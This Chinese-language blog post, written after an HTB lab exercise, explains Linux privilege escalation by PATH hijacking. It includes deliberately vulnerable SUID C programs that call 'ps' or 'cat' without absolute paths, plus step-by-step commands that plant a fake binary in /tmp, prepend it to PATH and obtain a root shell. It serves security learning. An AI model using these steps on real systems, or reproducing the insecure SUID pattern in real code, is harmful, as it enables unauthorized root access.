使用PATH变量的Linux特权升级

  1. Experiment

昨天做HTB的时候遇见了通过环境变量劫持,进行权限提升的操作。今天特地研究了一下
原文链接:Linux Privilege Escalation Using PATH Variable

使用此操作满足的两个点:
1.查询被设置了SUID
2.程序调用其他命令的时候没有写绝对路径

造成这种提权的原因是因为编写程序的时候没有指定绝对路径运行,导致可以通过劫持环境变量来进行劫持操作,一般默认的环境变量有
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Experiment

Module 1
代码如下:

#include <unistd.h>
int main(){
  setuid(0);
  setgid(0);
  system("ps");
  return 0;
}

执行以下操作

echo "whoami" > ps
chmod 777 ps
export PATH=/tmp:$PATH
./shell

执行export后/tmp将在环境变量最前面

修改成bash则可以获得一个root shell

Module 2
代码如下:

#include <unistd.h>
int main(){
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  return 0;
}

执行以下操作

echo "whoami" > cat
chmod 777 cat
export PATH=/tmp:$PATH
./shell

或者

vim cat #然后在里面写入/bin/bash
chmod 777 cat
export PATH=/tmp:$PATH
./shell


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:使用PATH变量的Linux特权升级

本文作者:九世

发布时间:2020-04-22, 11:38:30

最后更新:2020-04-22, 12:01:48

原始链接:http://422926799.github.io/posts/ce72e360.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录